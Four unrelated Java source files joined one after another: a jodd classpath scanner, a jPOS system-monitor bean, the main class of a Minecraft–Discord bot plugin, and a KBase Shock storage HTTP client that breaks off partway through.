package jodd.io.findfile; import jodd.io.FileNameUtil; import jodd.util.ClassLoaderUtil; import jodd.util.InExRules; import jodd.util.StringUtil; import jodd.util.Wildcard; import jodd.util.ArraysUtil; import jodd.io.FileUtil; import jodd.io.StreamUtil; import jodd.io.ZipUtil; import java.net.URL; import java.util.zip.ZipFile; import java.util.zip.ZipEntry; import java.util.Enumeration; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; import java.io.FileNotFoundException; import static jodd.util.InExRuleMatcher.WILDCARD_PATH_RULE_MATCHER; import static jodd.util.InExRuleMatcher.WILDCARD_RULE_MATCHER; /** * Simple utility that scans <code>URL</code>s for classes. * Its purpose is to help scanning class paths for some classes. * Content of Jar files is also examined. * <p> * Scanning starts in included all mode (blacklist mode) for both jars and lists. * User can set explicit excludes. Of course, mode can be changed. * <p> * All paths are matched using {@link Wildcard#matchPath(String, String) path-style} * wildcard matcher. All entries are matched using {@link Wildcard#match(String, String) common-style} * wildcard matcher. * * @see ClassScanner */ public abstract class ClassFinder { private static final String CLASS_FILE_EXT = ".class"; private static final String JAR_FILE_EXT = ".jar"; /** * Array of system jars that are excluded from the search. * By default, these paths are common for linux, windows and mac. */ protected static String[] systemJars = new String[] { "**/jre/lib/*.jar", "**/jre/lib/ext/*.jar", "**/Java/Extensions/*.jar", "**/Classes/*.jar" }; protected final InExRules<String, String> rulesJars = createJarRules(); /** * Creates JAR rules. By default, excludes all system jars. */ protected InExRules<String, String> createJarRules() { InExRules<String, String> rulesJars = new InExRules<String, String>(WILDCARD_PATH_RULE_MATCHER); for (String systemJar : systemJars) { rulesJars.exclude(systemJar); } return rulesJars; } /** * Returns system jars. */ public static String[] getSystemJars() { return systemJars; } public void setExcludedJars(String... excludedJars) { for (String excludedJar : excludedJars) { rulesJars.include(excludedJar); } } public void setIncludedJars(String... includedJars) { for (String includedJar : includedJars) { rulesJars.include(includedJar); } } /** * Sets white/black list mode for jars. */ public void setIncludeAllJars(boolean blacklist) { if (blacklist) { rulesJars.blacklist(); } else { rulesJars.whitelist(); } } /** * Sets white/black list mode for jars. */ public void setExcludeAllJars(boolean whitelist) { if (whitelist) { rulesJars.whitelist(); } else { rulesJars.blacklist(); } } protected final InExRules<String, String> rulesEntries = createEntriesRules(); protected InExRules<String, String> createEntriesRules() { return new InExRules<String, String>(WILDCARD_RULE_MATCHER); } /** * Sets included set of names that will be considered during configuration. * @see jodd.util.InExRules */ public void setIncludedEntries(String... includedEntries) { for (String includedEntry : includedEntries) { rulesEntries.include(includedEntry); } } /** * Sets white/black list mode for entries. */ public void setIncludeAllEntries(boolean blacklist) { if (blacklist) { rulesEntries.blacklist(); } else { rulesEntries.whitelist(); } } /** * Sets white/black list mode for entries. */ public void setExcludeAllEntries(boolean whitelist) { if (whitelist) { rulesEntries.whitelist(); } else { rulesEntries.blacklist(); } } /** * Sets excluded names that narrows included set of packages. * @see jodd.util.InExRules */ public void setExcludedEntries(String... excludedEntries) { for (String excludedEntry : excludedEntries) { rulesEntries.exclude(excludedEntry); } } /** * If set to <code>true</code> all files will be scanned and not only classes. */ protected boolean includeResources; /** * If set to <code>true</code> exceptions for entry scans are ignored. */ protected boolean ignoreException; public boolean isIncludeResources() { return includeResources; } public void setIncludeResources(boolean includeResources) { this.includeResources = includeResources; } public boolean isIgnoreException() { return ignoreException; } /** * Sets if exceptions during scanning process should be ignored or not. */ public void setIgnoreException(boolean ignoreException) { this.ignoreException = ignoreException; } /** * Scans several URLs. If (#ignoreExceptions} is set, exceptions * per one URL will be ignored and loops continues. */ protected void scanUrls(URL... urls) { for (URL path : urls) { scanUrl(path); } } /** * Scans single URL for classes and jar files. * Callback {@link #onEntry(EntryData)} is called on * each class name. */ protected void scanUrl(URL url) { File file = FileUtil.toFile(url); if (file == null) { if (ignoreException == false) { throw new FindFileException("URL is not a valid file: " + url); } } scanPath(file); } protected void scanPaths(File... paths) { for (File path : paths) { scanPath(path); } } protected void scanPaths(String... paths) { for (String path : paths) { scanPath(path); } } protected void scanPath(String path) { scanPath(new File(path)); } /** * Returns <code>true</code> if some JAR file has to be accepted. */ protected boolean acceptJar(File jarFile) { String path = jarFile.getAbsolutePath(); path = FileNameUtil.separatorsToUnix(path); return rulesJars.match(path); } /** * Scans single path. */ protected void scanPath(File file) { String path = file.getAbsolutePath(); if (StringUtil.endsWithIgnoreCase(path, JAR_FILE_EXT) == true) { if (acceptJar(file) == false) { return; } scanJarFile(file); } else if (file.isDirectory() == true) { scanClassPath(file); } } /** * Scans classes inside single JAR archive. Archive is scanned as a zip file. * @see #onEntry(EntryData) */ protected void scanJarFile(File file) { ZipFile zipFile; try { zipFile = new ZipFile(file); } catch (IOException ioex) { if (ignoreException == false) { throw new FindFileException("Invalid zip: " + file.getName(), ioex); } return; } Enumeration entries = zipFile.entries(); while (entries.hasMoreElements()) { ZipEntry zipEntry = (ZipEntry) entries.nextElement(); String zipEntryName = zipEntry.getName(); try { if (StringUtil.endsWithIgnoreCase(zipEntryName, CLASS_FILE_EXT)) { String entryName = prepareEntryName(zipEntryName, true); EntryData entryData = new EntryData(entryName, zipFile, zipEntry); try { scanEntry(entryData); } finally { entryData.closeInputStreamIfOpen(); } } else if (includeResources == true) { String entryName = prepareEntryName(zipEntryName, false); EntryData entryData = new EntryData(entryName, zipFile, zipEntry); try { scanEntry(entryData); } finally { entryData.closeInputStreamIfOpen(); } } } catch (RuntimeException rex) { if (ignoreException == false) { ZipUtil.close(zipFile); throw rex; } } } ZipUtil.close(zipFile); } /** * Scans single classpath directory. * @see #onEntry(EntryData) */ protected void scanClassPath(File root) { String rootPath = root.getAbsolutePath(); if (rootPath.endsWith(File.separator) == false) { rootPath += File.separatorChar; } FindFile ff = new FindFile().setIncludeDirs(false).setRecursive(true).searchPath(rootPath); File file; while ((file = ff.nextFile()) != null) { String filePath = file.getAbsolutePath(); try { if (StringUtil.endsWithIgnoreCase(filePath, CLASS_FILE_EXT)) { scanClassFile(filePath, rootPath, file, true); } else if (includeResources == true) { scanClassFile(filePath, rootPath, file, false); } } catch (RuntimeException rex) { if (ignoreException == false) { throw rex; } } } } protected void scanClassFile(String filePath, String rootPath, File file, boolean isClass) { if (StringUtil.startsWithIgnoreCase(filePath, rootPath) == true) { String entryName = prepareEntryName(filePath.substring(rootPath.length()), isClass); EntryData entryData = new EntryData(entryName, file); try { scanEntry(entryData); } finally { entryData.closeInputStreamIfOpen(); } } } /** * Prepares resource and class names. For classes, it strips '.class' from the end and converts * all (back)slashes to dots. For resources, it replaces all backslashes to slashes. */ protected String prepareEntryName(String name, boolean isClass) { String entryName = name; if (isClass) { entryName = name.substring(0, name.length() - 6); // 6 == ".class".length() entryName = StringUtil.replaceChar(entryName, '/', '.'); entryName = StringUtil.replaceChar(entryName, '\\', '.'); } else { entryName = '/' + StringUtil.replaceChar(entryName, '\\', '/'); } return entryName; } /** * Returns <code>true</code> if some entry name has to be accepted. * @see #prepareEntryName(String, boolean) * @see #scanEntry(EntryData) */ protected boolean acceptEntry(String entryName) { return rulesEntries.match(entryName); } /** * If entry name is {@link #acceptEntry(String) accepted} invokes {@link #onEntry(EntryData)} a callback}. */ protected void scanEntry(EntryData entryData) { if (acceptEntry(entryData.getName()) == false) { return; } try { onEntry(entryData); } catch (Exception ex) { throw new FindFileException("Scan entry error: " + entryData, ex); } } /** * Called during classpath scanning when class or resource is found. * <ul> * <li>Class name is java-alike class name (pk1.pk2.class) that may be immediately used * for dynamic loading.</li> * <li>Resource name starts with '\' and represents either jar path (\pk1/pk2/res) or relative file path (\pk1\pk2\res).</li> * </ul> * * <code>InputStream</code> is provided by InputStreamProvider and opened lazy. * Once opened, input stream doesn't have to be closed - this is done by this class anyway. */ protected abstract void onEntry(EntryData entryData) throws Exception; /** * Returns type signature bytes used for searching in class file. */ protected byte[] getTypeSignatureBytes(Class type) { String name = 'L' + type.getName().replace('.', '/') + ';'; return name.getBytes(); } /** * Returns <code>true</code> if class contains {@link #getTypeSignatureBytes(Class) type signature}. * It searches the class content for bytecode signature. This is the fastest way of finding if come * class uses some type. Please note that if signature exists it still doesn't means that class uses * it in expected way, therefore, class should be loaded to complete the scan. */ protected boolean isTypeSignatureInUse(InputStream inputStream, byte[] bytes) { try { byte[] data = StreamUtil.readBytes(inputStream); int index = ArraysUtil.indexOf(data, bytes); return index != -1; } catch (IOException ioex) { throw new FindFileException("Read error", ioex); } } /** * Loads class by its name. If {@link #ignoreException} is set, * no exception is thrown, but <code>null</code> is returned. */ protected Class loadClass(String className) throws ClassNotFoundException { try { return ClassLoaderUtil.loadClass(className); } catch (ClassNotFoundException cnfex) { if (ignoreException) { return null; } throw cnfex; } catch (Error error) { if (ignoreException) { return null; } throw error; } } /** * Provides input stream on demand. Input stream is not open until get(). */ protected static class EntryData { private final File file; private final ZipFile zipFile; private final ZipEntry zipEntry; private final String name; EntryData(String name, ZipFile zipFile, ZipEntry zipEntry) { this.name = name; this.zipFile = zipFile; this.zipEntry = zipEntry; this.file = null; inputStream = null; } EntryData(String name, File file) { this.name = name; this.file = file; this.zipEntry = null; this.zipFile = null; inputStream = null; } private InputStream inputStream; /** * Returns entry name. */ public String getName() { return name; } /** * Returns <code>true</code> if archive. */ public boolean isArchive() { return zipFile != null; } /** * Returns archive name or <code>null</code> if entry is not inside archived file. */ public String getArchiveName() { if (zipFile != null) { return zipFile.getName(); } return null; } /** * Opens zip entry or plain file and returns its input stream. */ public InputStream openInputStream() { if (zipFile != null) { try { inputStream = zipFile.getInputStream(zipEntry); return inputStream; } catch (IOException ioex) { throw new FindFileException("Input stream error: '" + zipFile.getName() + "', entry: '" + zipEntry.getName() + "'." , ioex); } } try { inputStream = new FileInputStream(file); return inputStream; } catch (FileNotFoundException fnfex) { throw new FindFileException("Unable to open: " + file.getAbsolutePath(), fnfex); } } /** * Closes input stream if opened. */ void closeInputStreamIfOpen() { if (inputStream == null) { return; } StreamUtil.close(inputStream); inputStream = null; } @Override public String toString() { return "EntryData{" + name + '\'' +'}'; } } }
package org.jpos.q2.qbean; import java.io.PrintStream; import org.jpos.q2.QBeanSupport; import org.jpos.util.Loggeable; import org.jpos.util.Logger; import org.jpos.util.NameRegistrar; /** * Periodically dumps Thread and memory usage * * @author apr@cs.com.uy * @version $Id$ * @jmx:mbean description="System Monitor" * extends="org.jpos.q2.QBeanSupportMBean" * @see Logger */ public class SystemMonitor extends QBeanSupport implements Runnable, SystemMonitorMBean, Loggeable { private long sleepTime = 60 * 60 * 1000; private long delay = 0; private boolean detailRequired = false; private Thread me = null; public void startService() { try { log.info("Starting SystemMonitor"); me = new Thread(this,"SystemMonitor"); me.start(); } catch (Exception e) { log.warn("error starting service", e); } } public void stopService() { log.info("Stopping SystemMonitor"); if (me != null) me.interrupt(); } /** * @jmx:managed-attribute description="Milliseconds between dump" */ public synchronized void setSleepTime(long sleepTime) { this.sleepTime = sleepTime; setModified(true); if (me != null) me.interrupt(); } /** * @jmx:managed-attribute description="Milliseconds between dump" */ public synchronized long getSleepTime() { return sleepTime; } /** * @jmx:managed-attribute description="Detail required?" */ public synchronized void setDetailRequired(boolean detail) { this.detailRequired = detail; setModified(true); if (me != null) me.interrupt(); } /** * @jmx:managed-attribute description="Detail required?" */ public synchronized boolean getDetailRequired() { return detailRequired; } void dumpThreads(ThreadGroup g, PrintStream p, String indent) { Thread[] list = new Thread[g.activeCount() + 5]; int nthreads = g.enumerate(list); for (int i = 0; i < nthreads; i++) p.println(indent + list[i]); } public void showThreadGroup(ThreadGroup g, PrintStream p, String indent) { if (g.getParent() != null) showThreadGroup(g.getParent(), p, indent + " "); else dumpThreads(g, p, indent + " "); } public void run() { while (running()) { log.info(this); try { long expected = System.currentTimeMillis() + sleepTime; Thread.sleep(sleepTime); delay = (System.currentTimeMillis() - expected); } catch (InterruptedException e) { } } } public void dump(PrintStream p, String indent) { String newIndent = indent + " "; Runtime r = Runtime.getRuntime(); p.println (indent+"<release>"+getServer().getRelease()+"</release>"); p.println(indent + "<memory>"); p.println(newIndent + " freeMemory=" + r.freeMemory()); p.println(newIndent + "totalMemory=" + r.totalMemory()); p.println(newIndent + "inUseMemory=" + (r.totalMemory() - r.freeMemory())); p.println(indent + "</memory>"); if (System.getSecurityManager() != null) p.println (indent +"sec.manager=" + System.getSecurityManager()); p.println(indent + "<threads>"); p.println(newIndent + " delay=" + delay + " ms"); p.println(newIndent + " threads=" + Thread.activeCount()); showThreadGroup(Thread.currentThread().getThreadGroup(), p, newIndent); p.println(indent + "</threads>"); NameRegistrar.getInstance().dump(p, indent, detailRequired); } }
package us.cyrien.minecordbot.main; import io.github.hedgehog1029.frame.Frame; import net.dv8tion.jda.core.AccountType; import net.dv8tion.jda.core.JDA; import net.dv8tion.jda.core.JDABuilder; import net.dv8tion.jda.core.events.message.MessageReceivedEvent; import net.dv8tion.jda.core.exceptions.RateLimitedException; import net.dv8tion.jda.core.hooks.ListenerAdapter; import net.dv8tion.jda.core.utils.SimpleLog; import org.bukkit.Bukkit; import org.bukkit.entity.Player; import org.bukkit.event.Listener; import org.bukkit.plugin.java.JavaPlugin; import us.cyrien.minecordbot.commands.discordCommands.*; import us.cyrien.minecordbot.commands.minecraftCommand.Dcmd; import us.cyrien.minecordbot.commands.minecraftCommand.Dme; import us.cyrien.minecordbot.commands.minecraftCommand.Reload; import us.cyrien.minecordbot.configuration.LocalizationFiles; import us.cyrien.minecordbot.configuration.MCBConfig; import us.cyrien.minecordbot.core.DrocsidFrame; import us.cyrien.minecordbot.core.module.DiscordCommand; import us.cyrien.minecordbot.entity.Messenger; import us.cyrien.minecordbot.entity.UpTimer; import us.cyrien.minecordbot.event.BotReadyEvent; import us.cyrien.minecordbot.handle.Metrics; import us.cyrien.minecordbot.handle.Updater; import us.cyrien.minecordbot.listener.AfkListener; import us.cyrien.minecordbot.listener.DiscordMessageListener; import us.cyrien.minecordbot.listener.MinecraftEventListener; import us.cyrien.minecordbot.listener.TabCompleteV2; import javax.security.auth.login.LoginException; import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class Minecordbot extends JavaPlugin { public static final SimpleLog LOGGER = SimpleLog.getLog("MCB"); private static List<DiscordCommand> discordCommands; private static Minecordbot instance; private static Messenger messenger; private static UpTimer upTimer; private JDA jda; private ArrayList<Player> AFKPlayers; private Updater updater; private Metrics metrics; @Override public void onEnable() { discordCommands = new ArrayList<>(); Bukkit.getScheduler().runTaskLater(this, Frame::main, 1L); Bukkit.getScheduler().runTaskLater(this, DrocsidFrame::main, 1L); if (initConfig()) { initJDA(); initInstances(); initDCmds(); initMCmds(); initDListener(); initMListener(); } } @Override public void onDisable() { shutdown(); } public void shutdown() { if (jda != null) jda.shutdown(); } //Framework stuff public void registerMinecraftCommandModule(Class module) { Frame.addModule(module); } public void registerMinecraftEventModule(Listener listener) { Bukkit.getPluginManager().registerEvents(listener, this); } public void registerDiscordEventModule(ListenerAdapter la) { jda.addEventListener(la); } public void registerDiscordCommandModule(Class module) { DrocsidFrame.addModule(module); } //private stuff/ initiation private boolean initConfig() { boolean initialized = MCBConfig.load(); if (!initialized) SimpleLog.getLog("Minecordbot").warn("MCB config generated, please populate all fields before restarting"); return initialized; } private void initJDA() { try { jda = new JDABuilder(AccountType.BOT).setToken(MCBConfig.get("bot_token")).buildAsync(); } catch (LoginException | RateLimitedException e) { e.printStackTrace(); } } private void initMListener() { registerMinecraftEventModule(new MinecraftEventListener(this)); registerMinecraftEventModule(new TabCompleteV2(this)); //registerMinecraftEventModule(new AfkListener(this)); } private void initDListener() { registerDiscordEventModule(new DiscordMessageListener(this)); registerDiscordEventModule(new BotReadyEvent(this)); } private void initMCmds() { registerMinecraftCommandModule(Dcmd.class); registerMinecraftCommandModule(Dme.class); registerMinecraftCommandModule(Reload.class); } private void initDCmds() { registerDiscordCommandModule(PingCommand.class); registerDiscordCommandModule(ReloadCommand.class); registerDiscordCommandModule(HelpCommand.class); registerDiscordCommandModule(TextChannelCommand.class); registerDiscordCommandModule(InfoCommand.class); registerDiscordCommandModule(ListCommand.class); registerDiscordCommandModule(EvalCommand.class); registerDiscordCommandModule(PermissionCommand.class); registerDiscordCommandModule(SendMinecraftCommandCommand.class); registerDiscordCommandModule(SetNicknameCommand.class); registerDiscordCommandModule(SetUsernameCommand.class); registerDiscordCommandModule(SetGameCommand.class); registerDiscordCommandModule(SetAvatarCommand.class); registerDiscordCommandModule(ShutDownCommand.class); registerDiscordCommandModule(SetTrigger.class); //registerDiscordCommandModule(ImageSearchCommand.class); } private void initInstances() { messenger = new Messenger(this); LocalizationFiles localizationFiles = new LocalizationFiles(this, true); instance = this; upTimer = new UpTimer(); if (MCBConfig.get("auto_update")) updater = new Updater(this, 101682, this.getFile(), Updater.UpdateType.DEFAULT, false); else updater = new Updater(this, 101682, this.getFile(), Updater.UpdateType.NO_DOWNLOAD, true); metrics = new Metrics(this); AFKPlayers = new ArrayList<>(); } //accessors and modifiers public static List<DiscordCommand> getDiscordCommands() { return discordCommands; } public JDA getJDA() { return jda; } public ArrayList<Player> getAFKPlayers() { return AFKPlayers; } public static Messenger getMessenger() { return messenger; } public static Minecordbot getInstance() { return instance; } public static String getUpTime() { return upTimer.getCurrentUptime(); } public void handleCommand(MessageReceivedEvent mRE) { Iterator cmdIterator = discordCommands.iterator(); while (cmdIterator.hasNext()) { DiscordCommand dc = (DiscordCommand) cmdIterator.next(); String raw = mRE.getMessage().getContent(); String noTrigger = raw.replaceAll(MCBConfig.get("trigger"), ""); String head = noTrigger.split(" ")[0]; String[] strings = raw.replaceAll(MCBConfig.get("trigger") + head, "").trim().split("\\s"); if (dc.getAliases().contains(head) || dc.getName().equalsIgnoreCase(head)) { dc.execute(mRE, strings); } } } }
package us.kbase.shock.client; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.math.BigDecimal; import java.net.MalformedURLException; import java.net.URI; import java.net.URISyntaxException; import java.net.URL; import java.security.KeyManagementException; import java.security.KeyStoreException; import java.security.NoSuchAlgorithmException; import java.util.Arrays; import java.util.List; import java.util.Map; import org.apache.commons.lang3.StringUtils; import org.apache.http.HttpResponse; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpDelete; import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpPost; import org.apache.http.client.methods.HttpPut; import org.apache.http.client.methods.HttpRequestBase; import org.apache.http.config.Registry; import org.apache.http.config.RegistryBuilder; import org.apache.http.conn.socket.ConnectionSocketFactory; import org.apache.http.conn.socket.PlainConnectionSocketFactory; import org.apache.http.conn.ssl.SSLConnectionSocketFactory; import org.apache.http.conn.ssl.SSLContextBuilder; import org.apache.http.conn.ssl.TrustSelfSignedStrategy; import org.apache.http.entity.ContentType; import org.apache.http.entity.mime.MultipartEntityBuilder; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.apache.http.impl.conn.PoolingHttpClientConnectionManager; import org.apache.http.util.EntityUtils; import com.fasterxml.jackson.core.JsonParseException; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.DeserializationFeature; import com.fasterxml.jackson.databind.ObjectMapper; import us.kbase.auth.AuthToken; import us.kbase.shock.client.exceptions.InvalidShockUrlException; import us.kbase.shock.client.exceptions.ShockHttpException; import us.kbase.shock.client.exceptions.ShockNoFileException; /** * A basic client for shock. Creating nodes, deleting nodes, * getting a subset of node data, and altering read acls is currently supported. * * Currently limited to 1000 connections. * * @author gaprice@lbl.gov * */ public class BasicShockClient { private String version; private final URI baseurl; private final URI nodeurl; private static CloseableHttpClient client; private final ObjectMapper mapper = new ObjectMapper(); private AuthToken token = null; private static final String AUTH = "Authorization"; private static final String OAUTH = "OAuth "; private static final String ATTRIBFILE = "attribs"; private static int CHUNK_SIZE = 50000000; //~50 Mb /** Get the size of the upload / download chunk size. * @return the size of the file chunks sent/received from the Shock server. */ public static int getChunkSize() { return CHUNK_SIZE; } private static String getDownloadURLPrefix() { return "/?download&index=size&chunk_size=" + CHUNK_SIZE + "&part="; } private static synchronized void createHttpClient( final boolean allowSelfSignedCerts) { if (client != null) { return; //already done } if (allowSelfSignedCerts) { final SSLConnectionSocketFactory sslsf; try { final SSLContextBuilder builder = new SSLContextBuilder(); builder.loadTrustMaterial(null, new TrustSelfSignedStrategy()); sslsf = new SSLConnectionSocketFactory(builder.build()); } catch (NoSuchAlgorithmException e) { throw new RuntimeException("Unable to build http client", e); } catch (KeyStoreException e) { throw new RuntimeException("Unable to build http client", e); } catch (KeyManagementException e) { throw new RuntimeException("Unable to build http client", e); } final Registry<ConnectionSocketFactory> registry = RegistryBuilder.<ConnectionSocketFactory>create() .register("http", new PlainConnectionSocketFactory()) .register("https", sslsf) .build(); final PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager(registry); cm.setMaxTotal(1000); //perhaps these should be configurable cm.setDefaultMaxPerRoute(1000); //TODO set timeouts for the client for 1/2m for conn req timeout and std timeout client = HttpClients.custom() .setSSLSocketFactory(sslsf) .setConnectionManager(cm) .build(); } else { final PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager(); cm.setMaxTotal(1000); //perhaps these should be configurable cm.setDefaultMaxPerRoute(1000); //TODO set timeouts for the client for 1/2m for conn req timeout and std timeout client = HttpClients.custom() .setConnectionManager(cm) .build(); } } /** * Create a new shock client. * @param url the location of the shock server. * @throws IOException if an IO problem occurs. * @throws InvalidShockUrlException if the <code>url</code> does not * reference a shock server. */ public BasicShockClient(final URL url) throws IOException, InvalidShockUrlException { this(url, false); } /** * Create a new shock client authorized to act as a shock user. * @param url the location of the shock server. * @param token the authorization token to present to shock. * @throws IOException if an IO problem occurs. * @throws InvalidShockUrlException if the <code>url</code> does not * reference a shock server. * @throws ShockHttpException if the connection to shock fails. */ public BasicShockClient(final URL url, final AuthToken token) throws IOException, InvalidShockUrlException, ShockHttpException { this(url, token, false); } /** * Create a new shock client. * @param url the location of the shock server. * @param allowSelfSignedCerts <code>true</code> to permit self signed * certificates when contacting servers. * @throws IOException if an IO problem occurs. * @throws InvalidShockUrlException if the <code>url</code> does not * reference a shock server. */ public BasicShockClient(final URL url, boolean allowSelfSignedCerts) throws InvalidShockUrlException, IOException { createHttpClient(allowSelfSignedCerts); mapper.enable(DeserializationFeature.ACCEPT_EMPTY_STRING_AS_NULL_OBJECT); String turl = url.getProtocol() + "://" + url.getAuthority() + url.getPath(); if (turl.charAt(turl.length() - 1) != '/') { turl = turl + "/"; } try { baseurl = new URL(turl).toURI(); } catch (URISyntaxException use) { throw new RuntimeException(use); //something went badly wrong } if (!(url.getProtocol().equals("http") || url.getProtocol().equals("https"))) { throw new InvalidShockUrlException(turl.toString()); } getRemoteVersion(); nodeurl = baseurl.resolve("node/"); } /** * Create a new shock client authorized to act as a shock user. * @param url the location of the shock server. * @param token the authorization token to present to shock. * @param allowSelfSignedCerts <code>true</code> to permit self signed * certificates when contacting servers. * @throws IOException if an IO problem occurs. * @throws InvalidShockUrlException if the <code>url</code> does not * reference a shock server. * @throws ShockHttpException if the connection to shock fails. */ public BasicShockClient( final URL url, final AuthToken token, boolean allowSelfSignedCerts) throws InvalidShockUrlException, ShockHttpException, IOException { this(url, allowSelfSignedCerts); updateToken(token); if (token != null) { // test shock config/auth etc. final ShockNode sn = addNode(); sn.delete(); } } /** * Replace the token this client presents to the shock server. * @param token the new token */ public void updateToken(final AuthToken token) { if (token == null) { this.token = null; return; } this.token = token; } /** Get the auth token used by this client, if any. * * @return the auth token. */ public AuthToken getToken() { return token; } /** * Get the url of the shock server this client communicates with. * @return the shock url. */ public URL getShockUrl() { return uriToUrl(baseurl); } /** Get the version of the Shock server. This version is cached in the * client on startup and after getRemoteVersion() is called. * @return the version. */ public String getShockVersion() { return version; } /** Fetch the version from the Shock server and cache it client side. * @return the version. * @throws IOException if an IO error occurs. * @throws InvalidShockUrlException if the url no longer points to a Shock * server. */ public String getRemoteVersion() throws IOException, InvalidShockUrlException { final CloseableHttpResponse response = client.execute(new HttpGet(baseurl)); final Map<String, Object> shockresp; try { @SuppressWarnings("unchecked") final Map<String, Object> respobj = mapper.readValue( response.getEntity().getContent(), Map.class); shockresp = respobj; } catch (JsonParseException jpe) { throw new InvalidShockUrlException(baseurl.toString(), jpe); } finally { response.close(); } if (!shockresp.containsKey("id")) { throw new InvalidShockUrlException(baseurl.toString()); } if (!shockresp.get("id").equals("Shock")) { throw new InvalidShockUrlException(baseurl.toString()); } version = (String) shockresp.get("version"); return version; } private <T extends ShockResponse> ShockData processRequest( final HttpRequestBase httpreq, final Class<T> clazz) throws IOException, ShockHttpException { authorize(httpreq); final CloseableHttpResponse response = client.execute(httpreq); try { return getShockData(response, clazz); } finally { response.close(); } } private <T extends ShockResponse> ShockData getShockData( final HttpResponse response, final Class<T> clazz) throws IOException, ShockHttpException { try { return mapper.readValue(response.getEntity().getContent(), clazz).getShockData(); } catch (JsonParseException jpe) { throw new ShockHttpException( response.getStatusLine().getStatusCode(), "Invalid Shock response. Server said " + response.getStatusLine().getStatusCode() + " " + response.getStatusLine().getReasonPhrase() + ". JSON parser said " + jpe.getLocalizedMessage(), jpe); } } private void authorize(final HttpRequestBase httpreq) { if (token != null) { httpreq.setHeader(AUTH, OAUTH + token.getToken()); } } /** * Gets a node from the shock server. Note the object returned * represents the shock node's state at the time getNode() was called * and does not update further. * @param id the ID of the shock node. * @return a shock node object. * @throws IOException if an IO problem occurs. * @throws ShockHttpException if the node could not be fetched from shock. * expired. */ public ShockNode getNode(final ShockNodeId id) throws IOException, ShockHttpException { if (id == null) { throw new NullPointerException("id may not be null"); } final URI targeturl = nodeurl.resolve(id.getId()); final HttpGet htg = new HttpGet(targeturl); final ShockNode sn = (ShockNode) processRequest (htg, ShockNodeResponse.class); sn.addClient(this); return sn; } /** * Equivalent to client.getFile(client.getNode(id), file) * @param id the ID of the shock node. * @param file the stream to which the file will be written. * @throws IOException if an IO problem occurs. * @throws ShockHttpException if the file could not be fetched from shock. */ public void getFile(final ShockNodeId id, final OutputStream file) throws IOException, ShockHttpException { getFile(getNode(id), file); } /** * Get the file for this shock node. * @param sn the shock node from which to retrieve the file. * @param os the stream to which the file will be written. * @throws IOException if an IO problem occurs. * @throws ShockHttpException if the file could not be fetched from shock. */ public void getFile(final ShockNode sn, final OutputStream os) throws IOException, ShockHttpException { if (os == null) { throw new NullPointerException("os"); } final int chunks = getChunks(sn); final URI targeturl = nodeurl.resolve(sn.getId().getId() + getDownloadURLPrefix()); for (int i = 0; i < chunks; i++) { final HttpGet htg = new HttpGet(targeturl.toString() + (i + 1)); authorize(htg); final CloseableHttpResponse response = client.execute(htg); try { final int code = response.getStatusLine().getStatusCode(); if (code > 299) { getShockData(response, ShockNodeResponse.class); //trigger errors } os.write(EntityUtils.toByteArray(response.getEntity())); } finally { response.close(); } } } private static int getChunks(final ShockNode sn) throws ShockNoFileException { if (sn == null) { throw new NullPointerException("sn"); } if (sn.getFileInformation().getSize() == 0) { throw new ShockNoFileException(400, "Node has no file"); } final BigDecimal size = new BigDecimal( sn.getFileInformation().getSize()); //if there are more than 2^32 chunks we're in big trouble return size.divide(new BigDecimal(CHUNK_SIZE)) .setScale(0, BigDecimal.ROUND_CEILING).intValueExact(); } /** * Equivalent to client.getFile(client.getNode(id)) * @param id the ID of the shock node. * @return an input stream containing the file. * @throws IOException if an IO problem occurs. * @throws ShockHttpException if the file could not be fetched from shock. */ public InputStream getFile(final ShockNodeId id) throws IOException, ShockHttpException { return getFile(getNode(id)); } /** Get the file for this shock node. The input stream this function * returns is naturally buffered. * @param sn the shock node from which to retrieve the file. * @return an input stream containing the file. * @throws IOException if an IO problem occurs. * @throws ShockHttpException if the file could not be fetched from shock. */ public InputStream getFile(final ShockNode sn) throws ShockHttpException, IOException { return new ShockFileInputStream(sn); } private class ShockFileInputStream extends InputStream { private final URI targeturl; private final int chunks; private int chunkCount = 0; private byte[] chunk; private int pos = 0; private boolean closed = false; public ShockFileInputStream(final ShockNode sn) throws ShockHttpException, IOException { chunks = getChunks(sn); targeturl = nodeurl.resolve(sn.getId().getId() + getDownloadURLPrefix()); getNextChunk(); // must be at least one } private void getNextChunk() throws IOException, ShockHttpException { if (chunkCount >= chunks) { chunk = null; return; } final HttpGet htg = new HttpGet(targeturl.toString() + (chunkCount + 1)); authorize(htg); final CloseableHttpResponse response = client.execute(htg); try { final int code = response.getStatusLine().getStatusCode(); if (code > 299) { getShockData(response, ShockNodeResponse.class); //trigger errors } chunk = EntityUtils.toByteArray(response.getEntity()); chunkCount++; pos = 0; } finally { response.close(); } } @Override public int read() throws IOException { if (closed) { throw new IOException("Stream is closed."); } if (chunk == null) { return -1; } final int i = chunk[pos] & 0xFF; pos++; if (pos >= chunk.length) { getNextChunkWrapExcep(); } return i; } private void getNextChunkWrapExcep() throws IOException { try { getNextChunk(); } catch (ShockHttpException e) { throw new IOException("Couldn't fetch data from Shock: " + e.getMessage(), e); } } @Override public int read(byte b[], int off, int len) throws IOException { if (closed) { throw new IOException("Stream is closed."); } if (b == null) { throw new NullPointerException(); } else if (off < 0 || len < 0 || len > b.length - off) { throw new IndexOutOfBoundsException(); } else if (len == 0) { return 0; } else if (chunk == null) { return -1; } if (pos + len >= chunk.length) { System.arraycopy(chunk, pos, b, off, chunk.length - pos); final int size = chunk.length - pos; getNextChunkWrapExcep(); // sets chunk to null return size; } else { System.arraycopy(chunk, pos, b, off, len); pos += len; return len; } } @Override public void close() { closed = true; chunk = null; } } /** * Creates an empty node on the shock server. * @return a shock node object. * @throws IOException if an IO problem occurs. * @throws ShockHttpException if the node could not be created. */ public ShockNode addNode() throws IOException, ShockHttpException { return _addNode(null, null, null, null); } /** * Creates a node on the shock server with user-specified attributes. * @param attributes the user-specified attributes. The 